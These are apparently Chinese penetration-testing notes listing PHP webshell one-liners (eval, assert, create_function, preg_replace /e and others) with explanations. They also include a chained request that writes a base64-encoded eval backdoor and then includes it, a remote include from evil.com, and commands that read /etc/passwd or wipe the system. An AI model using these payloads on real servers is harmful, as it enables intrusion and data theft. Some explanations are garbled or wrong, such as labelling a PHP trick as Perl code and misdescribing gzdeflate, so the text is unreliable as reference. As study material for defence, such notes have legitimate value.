渗透RCE
命令执行函数 system shell_exec exec passthru proc_open popen http://<ubantu的ip>:1313有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contentsa可以替换为写入的字符# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw# 最后包含param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
call_user_func($action, $parameters) 中: $action 由 $_GET[\'action\'] 完全可控(如 action=file_put_contents ); $parameters 是过滤 action 后的所有 GET 参数(作为函数入参,如 filename=shell.php&data= )。 file_put_contents 接收 filename (文件名)和 常见PHP webshell data (内容),直接写入恶意后门。 类型 param=$_GET[a](N,a,8);&a=file_put_contents a可以替换为写入的字符 # 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw # 最后包含 param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N ?action=file_put_contents&filename=shell.php&data=直接型
•eval($_POST[2333]);$_POST:这是 PHP 里的一个超全局变量,其作用是接收通过 HTTP POST 方法提交的数据。[2333]:这里表示从 $_POST 数组里获取键名为 2333 的值。要知道,这个键名是可以由外部用户来控制的。eval():此函数会把字符串当作 PHP 代码来执行。要是用户能够控制这个输入内容,那么就可以执行任意的 PHP 命令。•assert($_POST[2333]);assert($_POST[2333]); 是 PHP 代码,作用是判断 $_POST 数组里是否存在索引为 2333 的值,并且该值要能转换为布尔值 true。下面是详细解析:$_POST:是 PHP 的超全局变量,用于接收通过 HTTP POST 方法提交的数据。[2333]:表示访问$_POST数组中键名为2333的元素。这里的2333是字符串索引(PHP 会自动将数字索引视为字符串)。assert():验证表达式的结果是否为true。如果条件不满足,会触发断言失败(在开发环境中通常表现为致命错误,生产环境中可能被忽略,取决于 PHP 配置)。
array_map(\'assert\', $_POST);$_POST:这是 PHP 中的超全局变量,用于接收通过 HTTP POST 方法提交的表单数据或其他请求数据,是一个关联数组。array_map(\'assert\', $_POST):array_map 函数会将第二个参数(数组 $_POST)中的每个元素,依次作为参数传递给第一个参数指定的函数(这里是 assert)并执行。assert 函数的特性:在 PHP 中,assert 的作用是判断一个表达式是否为真。但关键在于,如果传入的是字符串,assert 会将其当作 PHP 代码执行。•usort($_POST[1], $_POST[2]);usort($_POST[1], $_POST[2]); 是 PHP 代码,功能是借助自定义比较函数对数组排序。下面来详细分析:usort 函数:这是 PHP 里用于对数组进行排序的函数,它会按照用户提供的比较函数重新排列数组元素,排序完成后原数组的键名会被重置。参数情况:$_POST[1]:这里面存储的应当是待排序的数组。$_POST 是 PHP 中的一个超全局变量,主要用于接收通过 HTTP POST 方法提交的数据。$_POST[2]:此参数代表的是用户自定义的比较函数。该函数需要接收两个参数,并且要返回一个整数值,以此来表明这两个参数的大小关系。
include $_FILES[\'2333\'][\'tmp_name\'];1.核心逻辑:$_FILES[\'2333\'][\'tmp_name\']:获取用户上传文件(表单名 2333 )在服务器的临时路径。include:将该临时文件 当作 PHP 代码解析执行。2.文件上传处理:$_FILES 是 PHP 里的一个超全局变量,专门用于存放通过 HTTP POST 方式上传的文件信息。[\'2333\'] 代表表单中文件上传字段的名称,假设表单里有类似 这样的字段。[\'tmp_name\'] 指的是文件上传后在服务器临时存储位置的路径。3.动态代码包含:include 语句的功能是引入并执行指定文件中的 PHP 代码。变形型命令型要是上传的文件内容为 PHP 代码,比如 ,那么这段代码就会被执行。require \'http://evil.com/1.txt\';require 是 PHP 中用于引入外部文件的函数,若 PHP 配置中 allow_url_include = On(默认关闭,但部分环境可能开启),则 支持从远程 URL 加载文件。攻击者可通过构造恶意 URL(如http://evil.com/1.txt),让服务器执行远程代码
eval(gzdeflate(base64_decode(\'...\')));eval(gzdeflate(base64_decode(\'...\'))); 是一个 PHP 代码片段,用于执行经过多层编码的脚本。下面简要解析其工作原理:base64_decode(\'...\'):将 Base64 编码的字符串解码为原始二进制数据。Base64 常用于在文本协议中传输二进制数据。gzdeflate(...):对解码后的二进制数据应用 deflate 压缩算法(类似 gzip),还原为压缩前的原始数据。这里的 deflate 是 PHP 内置函数,与 gzip 同源但格式略有不同。eval(...):将解压后的原始数据作为 PHP 代码执行。这是最危险的部分,因为 eval 会执行任意代码,可能导致远程代码执行漏洞。$_=[];$_++;$_++;...;$_($ );这段代码是 Perl 语言中典型的 “高尔夫代码”(极简代码),利用了 Perl 的弱类型和隐式转换特性,核心逻辑是构造并调用一个函数,解析如下:$_=[]:将特殊变量$_赋值为空数组引用。$_++(多次):对数组引用执行自增操作。在 Perl 中,引用自增会触发字符串化后按字符递增(类似文件名排序),空数组引用字符串化是ARRAY(0x...),多次递增后会逐渐变为ARRAY(0x...)→ARRAY(0x...)→... 最终可能变为类似CODE(...)的字符串(函数引用的格式)。$_($ ):当$_被隐式转换为函数引用后,调用该函数并传入$(特殊变量,通常为空字符串)作为参数。
`$_POST[2333]`;$_POST[2333] 是 PHP 中的一个表达式,用于从 HTTP POST 请求中获取数据。以下是关键点解析:$_POST:这是 PHP 的一个超全局数组,专门用于接收通过 HTTP POST 方法提交的表单数据。当用户通过表单提交数据时,PHP 会将这些数据自动填充到 $_POST 数组中。[2333]:这是数组的索引,表示获取 $_POST 中键名为 2333 的值。注意,这里的 2333 是字符串类型的键名(PHP 会自动将数字索引转换为字符串),而非数值索引。例如,若表单中有一个字段:html``````则 $_POST[2333] 的值为 \"hello\"。system($_POST[2333]);首先,$_POST是 PHP 里用于接收 HTTP POST 请求参数的超全局变量。代码里使用$_POST[2333],意味着它会获取名为2333的 POST 参数值。其次,system()是 PHP 的一个系统命令执行函数,其作用是执行外部命令,并且会把执行结果输出。当黑客对这个接口发起攻击时,能够通过 POST 参数2333传入恶意命令。比如,传入;ls -la /,经过拼接后就变成了类似system(\';ls -la /\')这样的命令,这会让攻击者获取服务器的敏感信息。更严重的是,攻击者还可能借此执行rm -rf /等危险命令,从而导致服务器系统崩溃。
•create_function(\'\', $_POST[2333]);create_function():动态创建匿名函数,语法为 create_function($args, $code),返回函数名(如 lambda_1)。$_POST[2333]:直接将用户 POST 参数(键为2333)的值作为函数体代码执行。示例:若 POST 请求包含 2333=phpinfo();,代码会动态创建函数并执行 phpinfo(),泄露服务器信息攻击者可通过 POST 参数注入恶意 PHP 代码,例如:// 执行系统命令(危险!)system(\'cat /etc/passwd\'); // Linux读取用户信息system(\'dir C:\\\\\'); // Windows查看目录// 创建Webshell后门file_put_contents(\'shell.php\', \'\');•preg_replace(\'/.*/e\', $_POST[\'n\'], $_POST[2333]);preg_replace():PHP 正则替换函数,当使用 /e 修饰符 时,会将替换结果($_POST[\'n\'])当作 PHP 代码执行。/e 修饰符:在 PHP 5.5.0 + 已被弃用,PHP 7.0.0 + 彻底移除,因其存在致命安全风险。代码逻辑:// 原始代码preg_replace(\'/.*/e\', $_POST[\'n\'], $_POST[2333]);// 等价于(危险!)eval(preg_replace(\'/.*/\', $_POST[\'n\'], $_POST[2333]));攻击场景攻击者可通过 POST 参数注入恶意 PHP 代码,例如:// 假设攻击者发送POST请求:// n=system($_GET[\'cmd\']);// 2333=a// 代码执行时会变为:preg_replace(\'/.*/e\', \'system($_GET[\\\'cmd\\\']);\', \'a\');// 等价于:eval(\'system($_GET[\\\'cmd\\\']);\'); // 任意命令执行!访问 http://victim.com?vuln.php?cmd=ls -la 可查看服务器文件列表。